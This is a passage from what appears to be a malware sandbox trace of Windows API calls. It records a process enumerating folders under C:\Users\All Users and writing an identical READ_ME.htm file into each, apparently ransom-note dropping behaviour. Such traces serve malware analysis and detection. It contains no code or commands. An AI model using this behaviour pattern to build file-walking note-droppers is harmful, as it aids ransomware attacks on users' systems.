ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.092] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.092] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.092] SetErrorMode (uMode=0x0) returned 0x1 [0142.092] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0142.092] SetErrorMode (uMode=0x1) returned 0x0 [0142.092] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\READ_ME.htm" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.093] GetFileType (hFile=0x1d0) returned 0x1 [0142.093] SetErrorMode (uMode=0x0) returned 0x1 [0142.093] GetFileType (hFile=0x1d0) returned 0x1 [0142.093] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b3298*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29b3298*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.094] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\READ_ME.htm", lpFilePart=0x0) returned 0x2a [0142.094] SetErrorMode (uMode=0x1) returned 0x0 [0142.094] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\READ_ME.htm" (normalized: "c:\\users\\all users\\oracle\\java\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.095] GetFileType (hFile=0x1d0) returned 0x1 [0142.095] SetErrorMode (uMode=0x0) returned 0x1 [0142.095] GetFileType (hFile=0x1d0) returned 0x1 [0142.095] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b7808*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29b7808*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.096] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0142.096] SetErrorMode (uMode=0x1) returned 0x0 [0142.096] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\READ_ME.htm" (normalized: "c:\\users\\all users\\oracle\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.117] GetFileType (hFile=0x1d0) returned 0x1 [0142.117] SetErrorMode (uMode=0x0) returned 0x1 [0142.117] GetFileType (hFile=0x1d0) returned 0x1 [0142.118] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bbd68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29bbd68*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0142.119] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0142.119] SetErrorMode (uMode=0x1) returned 0x0 [0142.119] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*" (normalized: "c:\\users\\all users\\package cache\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.120] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.120] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0142.120] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0142.120] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50030f60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.120] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", cAlternateFileName="{0FA68~1.285")) returned 1 [0142.120] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0142.120] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", cAlternateFileName="{2BC3B~1.285")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe1bc20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe1bc20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93ae8a70, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{65e650ff-30be-469d-b63a-418d71ea1765}", cAlternateFileName="{65E65~1")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa504d590, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{6913e92a-b64e-41c9-a5e6-cef39207fe89}", cAlternateFileName="{6913E~1")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523c770, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe67ee0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe67ee0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508", cAlternateFileName="{7D0B7~1.285")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20270a50, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff4c720, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff4c720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20224790, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4ff72880, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff72880, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f9b00f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ff989e0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ff989e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0142.121] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76131f90, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0142.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffbeb40, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffbeb40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0142.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4ffe4ca0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4ffe4ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0142.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x5000ae00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5000ae00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0142.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5216610, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x5000ae00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x5000ae00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", cAlternateFileName="{EEA66~1.285")) returned 1 [0142.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0142.122] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c22b6f0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0142.122] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.122] SetErrorMode (uMode=0x0) returned 0x1 [0142.123] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache", lpFilePart=0x0) returned 0x20 [0142.123] SetErrorMode (uMode=0x1) returned 0x0 [0142.123] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*" (normalized: "c:\\users\\all users\\package cache\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x322ba670, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd5d540, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd5d540, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1 [0142.123] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fd836a0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fd836a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", cAlternateFileName="54050A~1")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50030f60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x50030f60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x50030f60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d96330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fda9800, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fda9800, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{0FA68574-690B-4B00-89AA-B28946231449}v14.25.28508", cAlternateFileName="{0FA68~1.285")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf7de30, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fdcf960, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdcf960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d701d0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fdf5ac0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fdf5ac0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}v14.25.28508", cAlternateFileName="{2BC3B~1.285")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe1bc20, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe1bc20, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fe1470, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0142.124] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x201660b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4fe41d80, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fe41d80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, 